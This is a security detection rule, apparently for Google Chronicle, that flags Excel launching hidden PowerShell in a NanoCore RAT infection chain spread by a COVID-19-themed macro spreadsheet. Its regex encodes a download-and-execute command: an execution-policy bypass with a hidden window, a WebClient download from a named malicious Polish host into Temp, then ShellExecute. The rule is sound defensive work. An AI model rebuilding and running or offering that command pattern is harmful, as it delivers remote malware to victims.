nanocore_rat_loaded_by_covid19_update_xlsm_file

rule nanocore_rat_loaded_by_covid19_update_xlsm_file {
 meta:
    author = "Emir Erdogan"
    description = "NanoCore RAT Loaded By Covid-19 Update XLSM File  License: https://github.com/Neo23x0/sigma/blob/master/LICENSE.Detection.Rules.md."
    reference = "https://tdm.socprime.com/tdm/info/3PiQpZWwUfZt"
    version = "0.01"
    created = "2021-03-09"
    product = "windows"
    service = "sysmon"
    mitre = "T1086, T1064, T1105"

  events:
(re.regex($selection.principal.process.file.full_path, `.*\\excel\.exe`) and re.regex($selection.target.process.file.full_path, `.*\\powershell\.exe`) and re.regex($selection.target.process.command_line, `.*-executionpolicy bypass -W Hidden -command \(new-object System\.Net\.WebClient\)\.DownloadFile\(.*gbud\.webd\.pl/cli/.*\.exe.*,$env:Temp\+.*\.exe.*\);\(New-Object -com Shell\.Application\)\.ShellExecute\($env:Temp\+.*\.exe.*\)`))

  condition:
    $selection
}